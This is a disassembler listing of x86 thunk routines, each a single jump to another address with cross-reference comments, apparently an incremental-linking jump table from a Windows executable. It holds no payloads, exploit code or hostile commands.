; Attributes: thunk
sub_4017DA proc near ; CODE XREF: sub_415910+3p
; sub_416120+4Fp ...
jmp sub_4163A0
sub_4017DA endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_4017DF proc near ; CODE XREF: sub_415520+5Ep
; sub_415F30+32p
jmp sub_415E70
sub_4017DF endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4017E4 proc near ; CODE XREF: sub_4034E0+DBp
; sub_403FC0+3Fp ...
jmp sub_40A720
sub_4017E4 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4017E9 proc near ; CODE XREF: sub_421D50+5Ap
jmp sub_422370
sub_4017E9 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4017EE proc near ; CODE XREF: sub_418490+A8p
jmp sub_40B210
sub_4017EE endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4017F3 proc near ; CODE XREF: sub_406890+205p
jmp sub_41B820
sub_4017F3 endp
; [00000005 BYTES: COLLAPSED FUNCTION j_nullsub_8. PRESS KEYPAD "+" TO EXPAND]
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4017FD proc near ; CODE XREF: ___:00426A13p
jmp sub_426A40
sub_4017FD endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401802 proc near ; CODE XREF: sub_41E660+FFp
; sub_41E660+179p ...
jmp sub_421A80
sub_401802 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401807 proc near ; CODE XREF: sub_40A110+7p
jmp sub_40A130
sub_401807 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40180C proc near ; CODE XREF: sub_40B430+76p
jmp sub_40B390
sub_40180C endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401811 proc near ; CODE XREF: ___:00423E93p
; DATA XREF: ___:off_44443Co
jmp sub_425020
sub_401811 endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_401816 proc near ; CODE XREF: sub_41E660+18Ep
; ___:0043B183j
jmp sub_4218F0
sub_401816 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40181B proc near ; DATA XREF: ___:off_43E10Co
jmp sub_426F20
sub_40181B endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401820 proc near ; CODE XREF: ___:00416DDFp
jmp sub_417DF0
sub_401820 endp
; ---------------------------------------------------------------------------
jmp loc_42EC20
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40182A proc near ; CODE XREF: sub_41E660+3BCp
; sub_4225B0+3p
jmp sub_421C50
sub_40182A endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40182F proc near ; CODE XREF: sub_4266A0+90p
jmp sub_426960
sub_40182F endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401834 proc near ; CODE XREF: ___:0042436Dp
; sub_424840+135p
jmp sub_4243A0
sub_401834 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401839 proc near ; CODE XREF: sub_40BE40+3p
; sub_40BEC0+4Fp ...
jmp sub_40C080
sub_401839 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40183E proc near ; CODE XREF: sub_4070F0+36p
; sub_4070F0+72p ...
jmp sub_407340
sub_40183E endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401843 proc near ; CODE XREF: sub_413120+61p
jmp sub_415680
sub_401843 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401848 proc near ; CODE XREF: ___:0040B9D1p
; ___:0040BA98p ...
jmp sub_412AA0
sub_401848 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40184D proc near ; CODE XREF: ___:00431FEFp
; ___:004320FFp ...
jmp sub_431B30
sub_40184D endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401852 proc near ; DATA XREF: ___:004322AAo
; ___:00432410o
jmp sub_431BA0
sub_401852 endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_401857 proc near ; CODE XREF: sub_416360+7p
jmp sub_416740
sub_401857 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40185C proc near ; CODE XREF: sub_418330+34p
jmp sub_404C20
sub_40185C endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401861 proc near ; CODE XREF: sub_4034E0+7Ap
; sub_4034E0+9Ep ...
jmp sub_409B40
sub_401861 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401866 proc near ; CODE XREF: sub_420530+152p
jmp sub_4207A0
sub_401866 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40186B proc near ; CODE XREF: ___:0041A228p
; sub_41B010+3p ...
jmp sub_41B040
sub_40186B endp
; ---------------------------------------------------------------------------
jmp loc_429D70
; ---------------------------------------------------------------------------
jmp loc_41C0E0
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40187A proc near ; CODE XREF: ___:00416A4Bp
; ___:00439F6Cj ...
jmp sub_416D10
sub_40187A endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40187F proc near ; CODE XREF: sub_40FF60+217p
; sub_41FD90+4Cp ...
jmp sub_41FD50
sub_40187F endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401884 proc near ; CODE XREF: sub_429AA0+9Dp
jmp sub_428160
sub_401884 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401889 proc near ; CODE XREF: ___:0042C005p
jmp sub_427DC0
sub_401889 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40188E proc near ; DATA XREF: ___:0043E184o
jmp sub_42A150
sub_40188E endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401893 proc near ; CODE XREF: sub_41B4B0+DDp
jmp sub_41AD30
sub_401893 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401898 proc near
jmp sub_432ED0
sub_401898 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40189D proc near ; CODE XREF: ___:004141C5p
; sub_414D40+1B2p
jmp sub_413DA0
sub_40189D endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4018A2 proc near ; CODE XREF: sub_411FE0+1B6p
jmp sub_40A110
sub_4018A2 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4018A7 proc near ; CODE XREF: sub_41E660+5ABp
jmp sub_4203D0
sub_4018A7 endp
; ---------------------------------------------------------------------------
jmp loc_431D10
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4018B1 proc near ; CODE XREF: sub_40A910+14p
jmp sub_40ABC0
sub_4018B1 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4018B6 proc near ; CODE XREF: sub_413510+B4p
; ___:00414B90p ...
jmp sub_415620
sub_4018B6 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4018BB proc near ; CODE XREF: sub_41A2B0+6Dp
; sub_41A2B0+1B5p
jmp sub_41AF60
sub_4018BB endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4018C0 proc near ; CODE XREF: ___:004310DAp
jmp sub_430A90
sub_4018C0 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4018C5 proc near ; CODE XREF: sub_418E90+5Fp
jmp sub_419030
sub_4018C5 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4018CA proc near ; CODE XREF: ___:00416A9Bp
; ___:00439F26j ...
jmp sub_4178F0
sub_4018CA endp
; ---------------------------------------------------------------------------
jmp loc_419DD0
; ---------------------------------------------------------------------------
jmp sub_41A0E0
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4018D9 proc near ; CODE XREF: sub_41E660+46p
jmp sub_4218B0
sub_4018D9 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4018DE proc near ; CODE XREF: ___:0042C135p
jmp sub_4299C0
sub_4018DE endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_4018E3 proc near ; CODE XREF: sub_422130+7p
jmp sub_422520
sub_4018E3 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4018E8 proc near ; CODE XREF: sub_421FB0+9p
; sub_422410+18p
jmp sub_422590
sub_4018E8 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4018ED proc near ; CODE XREF: sub_4221B0+8p
jmp sub_422570
sub_4018ED endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4018F2 proc near ; CODE XREF: sub_4133D0+43p
; sub_4147D0+4Fp ...
jmp sub_415730
sub_4018F2 endp
; ---------------------------------------------------------------------------
jmp loc_430A10
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4018FC proc near ; CODE XREF: sub_4219D0+1Fp
jmp sub_421D50
sub_4018FC endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401901 proc near ; CODE XREF: sub_4218B0+11p
; sub_421D50+1Fp
jmp sub_421E80
sub_401901 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401906 proc near ; CODE XREF: sub_40B390+6Dp
jmp sub_40BD90
sub_401906 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40190B proc near ; CODE XREF: sub_409450+13p
jmp loc_409580
sub_40190B endp
; ---------------------------------------------------------------------------
jmp loc_4365C0
; ---------------------------------------------------------------------------
jmp sub_41B010
; ---------------------------------------------------------------------------
loc_40191A: ; DATA XREF: ___:off_43E068o
jmp loc_416CE0
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40191F proc near ; CODE XREF: ___:00413B31p
jmp sub_4139B0
sub_40191F endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401924 proc near ; CODE XREF: sub_413120+73p
; sub_413220+32p
jmp sub_4154D0
sub_401924 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401929 proc near ; CODE XREF: ___:00416B4Bp
; ___:00439E8Cj ...
jmp sub_417020
sub_401929 endp
; ---------------------------------------------------------------------------
jmp loc_4310A0
; ---------------------------------------------------------------------------
jmp loc_4334F0
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401938 proc near ; CODE XREF: sub_41C610+F1p
; sub_41C610+270p ...
jmp sub_420E10
sub_401938 endp
; ---------------------------------------------------------------------------
jmp loc_40A400
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401942 proc near ; CODE XREF: sub_404C70+283p
; sub_40ED70+D2p ...
jmp sub_40EF90
sub_401942 endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_401947 proc near ; CODE XREF: sub_4218F0+34p
; sub_422240+67p
jmp sub_421ED0
sub_401947 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40194C proc near ; CODE XREF: sub_404C70+BF7p
jmp sub_4066E0
sub_40194C endp
; ---------------------------------------------------------------------------
jmp loc_432360
; ---------------------------------------------------------------------------
loc_401956: ; DATA XREF: sub_41FC00+39o
jmp loc_41FB30
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40195B proc near ; CODE XREF: ___:0041A19Ep
; sub_41A2B0+Bp ...
jmp sub_41A290
sub_40195B endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401960 proc near ; CODE XREF: ___:0041AB86p
; ___:0041AC66p
jmp sub_41A890
sub_401960 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401965 proc near ; CODE XREF: ___:00418704p
jmp sub_419220
sub_401965 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40196A proc near ; CODE XREF: sub_411910+2Ep
; sub_411B10+3p
jmp sub_411A50
sub_40196A endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40196F proc near ; CODE XREF: sub_41E660+F5p
; sub_41E660+16Fp ...
jmp sub_4219A0
sub_40196F endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401974 proc near ; CODE XREF: sub_409450+4p
; sub_409600+1Fp ...
jmp sub_409500
sub_401974 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401979 proc near ; CODE XREF: sub_418490+88p
jmp sub_409A30
sub_401979 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40197E proc near ; CODE XREF: sub_41F860+20p
; sub_429AA0+37p
jmp sub_41FE50
sub_40197E endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401983 proc near ; CODE XREF: sub_413510+4Ap
; ___:00414B3Fp ...
jmp sub_415420
sub_401983 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401988 proc near ; CODE XREF: sub_40A430+A8p
jmp sub_40A850
sub_401988 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40198D proc near ; CODE XREF: sub_40CBB0+41p
jmp sub_40CE60
sub_40198D endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401992 proc near ; CODE XREF: ___:00433405p
; ___:00433505p
jmp sub_433160
sub_401992 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401997 proc near ; CODE XREF: sub_4218F0+29p
jmp sub_421DF0
sub_401997 endp
; ---------------------------------------------------------------------------
jmp loc_42ECF0
; ---------------------------------------------------------------------------
jmp loc_42ECC0
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4019A6 proc near ; CODE XREF: sub_40A790+Dp
; sub_40A9F0+91p
jmp sub_40A910
sub_4019A6 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4019AB proc near ; CODE XREF: sub_422050+23p
; sub_422410+11p
jmp sub_4225B0
sub_4019AB endp
; ---------------------------------------------------------------------------
jmp loc_41AB20
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4019B5 proc near ; CODE XREF: sub_403FC0+2Cp
; sub_403FC0+7Fp ...
jmp sub_4034E0
sub_4019B5 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4019BA proc near ; CODE XREF: sub_422750+6p
jmp sub_4227C0
sub_4019BA endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4019BF proc near ; DATA XREF: ___:off_43E050o
jmp sub_416C30
sub_4019BF endp
; ---------------------------------------------------------------------------
jmp sub_40FD70
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4019C9 proc near ; CODE XREF: sub_407410+4p
jmp sub_407540
sub_4019C9 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4019CE proc near ; CODE XREF: ___:0040B629p
; ___:0040BA46p ...
jmp sub_40B520
sub_4019CE endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4019D3 proc near ; CODE XREF: sub_40FF60+AF4p
; sub_40FF60+E6Ap
jmp sub_411B10
sub_4019D3 endp
; ---------------------------------------------------------------------------
jmp loc_432940
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4019DD proc near ; CODE XREF: sub_4144D0+CEp
jmp sub_414640
sub_4019DD endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4019E2 proc near ; DATA XREF: ___:0043E1C8o
jmp sub_42B880
sub_4019E2 endp
; ---------------------------------------------------------------------------
loc_4019E7: ; DATA XREF: ___:off_43E0D0o
jmp loc_41D730
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4019EC proc near ; CODE XREF: sub_421A10+3p
jmp sub_421F30
sub_4019EC endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4019F1 proc near ; CODE XREF: ___:00416D8Fp
jmp sub_40B0B0
sub_4019F1 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4019F6 proc near ; CODE XREF: sub_418490+B3p
jmp sub_4132E0
sub_4019F6 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4019FB proc near ; CODE XREF: sub_41E660+477p
jmp sub_4200F0
sub_4019FB endp
; ---------------------------------------------------------------------------
jmp loc_421850
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401A05 proc near ; DATA XREF: ___:0043E124o
jmp sub_427650
sub_401A05 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401A0A proc near ; CODE XREF: ___:004186C6p
jmp sub_411B40
sub_401A0A endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401A0F proc near ; CODE XREF: sub_4331D0+92p
jmp sub_430940
sub_401A0F endp
; ---------------------------------------------------------------------------
jmp loc_427FC0
; ---------------------------------------------------------------------------
jmp loc_426A10
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_401A1E proc near ; CODE XREF: sub_421DF0+32p
jmp sub_422240
sub_401A1E endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401A23 proc near ; CODE XREF: ___:00416ADBp
; sub_416C30+3p ...
jmp sub_416C00
sub_401A23 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401A28 proc near ; CODE XREF: ___:00423A04p
; ___:004272F8p ...
jmp sub_420D00
sub_401A28 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401A2D proc near ; CODE XREF: sub_422210+Ap
jmp sub_422620
sub_401A2D endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401A32 proc near ; CODE XREF: ___:00412ECFp
; ___:00412F84p ...
jmp sub_404640
sub_401A32 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401A37 proc near ; CODE XREF: sub_409450+1Ap
; sub_409530+4p ...
jmp sub_4094C0
sub_401A37 endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_401A3C proc near ; DATA XREF: ___:off_43E028o
jmp sub_40FD70
sub_401A3C endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401A41 proc near ; DATA XREF: ___:0043E0E4o
jmp sub_4266A0
sub_401A41 endp
; ---------------------------------------------------------------------------
jmp loc_409D50
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401A4B proc near ; CODE XREF: sub_415AA0+1Ep
jmp sub_416550
sub_401A4B endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401A50 proc near ; CODE XREF: ___:0042F2F0p
; sub_430F00+36p ...
jmp sub_430340
sub_401A50 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401A55 proc near ; CODE XREF: sub_4137E0+3Ep
jmp sub_433900
sub_401A55 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401A5A proc near ; CODE XREF: sub_4149A0+3p
jmp sub_4149D0
sub_401A5A endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401A5F proc near ; CODE XREF: sub_407790+A4Dp
; sub_407790+EDEp
jmp sub_409490
sub_401A5F endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401A64 proc near ; DATA XREF: ___:0043E0E0o
; ___:0043E0F0o ...
jmp sub_4263D0
sub_401A64 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401A69 proc near ; CODE XREF: sub_41D830+1ADp
jmp sub_42C810
sub_401A69 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401A6E proc near ; CODE XREF: sub_420530+191p
; sub_4227C0+3p ...
jmp sub_4207C0
sub_401A6E endp
; ---------------------------------------------------------------------------
jmp loc_42EFF0
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401A78 proc near ; CODE XREF: sub_4225E0+5p
jmp sub_422750
sub_401A78 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401A7D proc near ; CODE XREF: ___:00416E4Ap
jmp sub_418100
sub_401A7D endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401A82 proc near ; CODE XREF: sub_407220+5p
; sub_407310+6p ...
jmp sub_407460
sub_401A82 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401A87 proc near ; CODE XREF: sub_4034E0+90p
; sub_404C70+40Fp ...
jmp sub_40A6A0
sub_401A87 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401A8C proc near ; CODE XREF: sub_41D830+2FFp
; sub_41EF30+52Fp
jmp sub_41FD90
sub_401A8C endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401A91 proc near ; CODE XREF: ___:00431DCAp
jmp sub_42F840
sub_401A91 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401A96 proc near ; CODE XREF: sub_415490+1Fp
jmp sub_415DD0
sub_401A96 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401A9B proc near ; CODE XREF: sub_4034E0+E5p
; sub_409E70+Fp ...
jmp sub_409DA0
sub_401A9B endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401AA0 proc near ; CODE XREF: sub_431560+17p
; sub_431560+33p
jmp sub_433710
sub_401AA0 endp
; ---------------------------------------------------------------------------
jmp loc_433480
; [00000005 BYTES: COLLAPSED FUNCTION j_nullsub_11. PRESS KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
loc_401AAF: ; DATA XREF: ___:off_43E0FCo
jmp loc_426A10
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401AB4 proc near ; CODE XREF: sub_424E90+E5p
; sub_424E90+120p
jmp sub_424D40
sub_401AB4 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401AB9 proc near ; DATA XREF: ___:off_43E034o
jmp sub_411FE0
sub_401AB9 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401ABE proc near ; DATA XREF: ___:0041FB33o
jmp sub_41FA90
sub_401ABE endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401AC3 proc near ; CODE XREF: sub_4070F0+Bp
jmp sub_4072D0
sub_401AC3 endp
; ---------------------------------------------------------------------------
jmp loc_432BA0
; ---------------------------------------------------------------------------
loc_401ACD: ; DATA XREF: ___:off_43E020o
jmp loc_40B8D0
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401AD2 proc near ; CODE XREF: sub_403EE0+2Bp
; sub_403EE0+3Bp ...
jmp sub_403D10
sub_401AD2 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401AD7 proc near ; CODE XREF: sub_413510+66p
; sub_413510+CAp ...
jmp sub_415650
sub_401AD7 endp
; ---------------------------------------------------------------------------
jmp loc_41B780
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401AE1 proc near ; CODE XREF: ___:00418693p
jmp sub_4227F0
sub_401AE1 endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_401AE6 proc near ; CODE XREF: ___:00416B2Bp
; ___:00439EA8j ...
jmp sub_40B170
sub_401AE6 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401AEB proc near ; CODE XREF: ___:00421764p
; ___:0042179Ep
jmp sub_4215D0
sub_401AEB endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401AF0 proc near ; CODE XREF: sub_404BE0+15p
jmp sub_4070F0
sub_401AF0 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401AF5 proc near ; DATA XREF: ___:off_43E0BCo
jmp sub_41A0E0
sub_401AF5 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401AFA proc near ; CODE XREF: ___:00416F0Fp
jmp sub_418900
sub_401AFA endp
; ---------------------------------------------------------------------------
loc_401AFF: ; CODE XREF: ___:00438C76j
jmp loc_40CAF0
; ---------------------------------------------------------------------------
loc_401B04: ; DATA XREF: ___:off_43E16Co
jmp loc_429D70
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_401B09 proc near ; CODE XREF: sub_416FB0+28p
jmp sub_418890
sub_401B09 endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_401B0E proc near ; CODE XREF: ___:004319E7p
jmp sub_431A20
sub_401B0E endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401B13 proc near ; CODE XREF: sub_42FF50+Bp
jmp sub_4303D0
sub_401B13 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401B18 proc near ; CODE XREF: ___:0041873Ap
jmp sub_40AEA0
sub_401B18 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401B1D proc near ; CODE XREF: sub_418C50+2Bp
; sub_418E90+28p ...
jmp sub_418F50
sub_401B1D endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401B22 proc near ; DATA XREF: ___:off_43E1B0o
jmp sub_42B4F0
sub_401B22 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401B27 proc near ; CODE XREF: ___:00416A7Bp
; ___:00439F42j ...
jmp sub_4179D0
sub_401B27 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401B2C proc near ; CODE XREF: ___:00408713p
; ___:00408734p ...
jmp sub_407660
sub_401B2C endp
; ---------------------------------------------------------------------------
jmp loc_414AF0
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401B36 proc near ; CODE XREF: sub_41C610+83p
; sub_4282C0+3Fp
jmp sub_41D540
sub_401B36 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401B3B proc near ; CODE XREF: sub_41A890+11p
jmp sub_41A8C0
sub_401B3B endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401B40 proc near ; CODE XREF: sub_41E660+339p
jmp sub_421C10
sub_401B40 endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_401B45 proc near ; CODE XREF: sub_414C70+3p
jmp sub_414CA0
sub_401B45 endp
; ---------------------------------------------------------------------------
jmp loc_432CA0
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401B4F proc near ; CODE XREF: sub_42FAA0+29p
jmp sub_42F540
sub_401B4F endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_401B54 proc near ; CODE XREF: sub_40FDA0+38p
; ___:00439158j
jmp sub_412BC0
sub_401B54 endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_401B59 proc near ; CODE XREF: ___:004185A2p
jmp sub_40D580
sub_401B59 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401B5E proc near ; CODE XREF: sub_407660+3Bp
; sub_4076F0+43p
jmp sub_40B430
sub_401B5E endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401B63 proc near ; CODE XREF: sub_4072D0+3p
jmp sub_4074A0
sub_401B63 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401B68 proc near ; CODE XREF: sub_424840+9Dp
; sub_424840+FBp ...
jmp sub_4245F0
sub_401B68 endp
; ---------------------------------------------------------------------------
loc_401B6D: ; DATA XREF: ___:off_43E084o
jmp loc_425BD0
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401B72 proc near ; CODE XREF: sub_40FF60+413p
; sub_40FF60+F69p ...
jmp sub_409F60
sub_401B72 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401B77 proc near ; CODE XREF: ___:00425474p
jmp sub_4254E0
sub_401B77 endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_401B7C proc near ; CODE XREF: sub_422050+32p
jmp sub_422410
sub_401B7C endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401B81 proc near ; CODE XREF: sub_41B4B0+A5p
jmp sub_41A6D0
sub_401B81 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401B86 proc near ; CODE XREF: sub_40BF60+23p
; sub_40C120+11p
jmp sub_40C2C0
sub_401B86 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401B8B proc near ; CODE XREF: ___:0042B833p
jmp sub_42B860
sub_401B8B endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401B90 proc near ; CODE XREF: ___:004186EEp
jmp sub_41E140
sub_401B90 endp
; ---------------------------------------------------------------------------
loc_401B95: ; DATA XREF: sub_42FF50+86o
jmp loc_431650
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401B9A proc near ; CODE XREF: sub_409530+20p
jmp sub_409600
sub_401B9A endp
; [00000005 BYTES: COLLAPSED FUNCTION j_nullsub_9. PRESS KEYPAD "+" TO EXPAND]
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401BA4 proc near ; DATA XREF: ___:off_43E0A4o
jmp sub_40CBB0
sub_401BA4 endp
; ---------------------------------------------------------------------------
jmp loc_4309D0
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401BAE proc near ; CODE XREF: sub_421BD0+1Fp
jmp sub_421FB0
sub_401BAE endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_401BB3 proc near ; CODE XREF: sub_427520+39p
jmp sub_4270E0
sub_401BB3 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401BB8 proc near ; CODE XREF: sub_415730+5p
; sub_415930+6p ...
jmp sub_416380
sub_401BB8 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401BBD proc near ; CODE XREF: sub_4303D0+5Dp
; sub_431730+3Ep
jmp sub_4304D0
sub_401BBD endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401BC2 proc near ; CODE XREF: ___:00432129p
; ___:0043214Ap ...
jmp sub_430C00
sub_401BC2 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401BC7 proc near ; CODE XREF: ___:00425DA2p
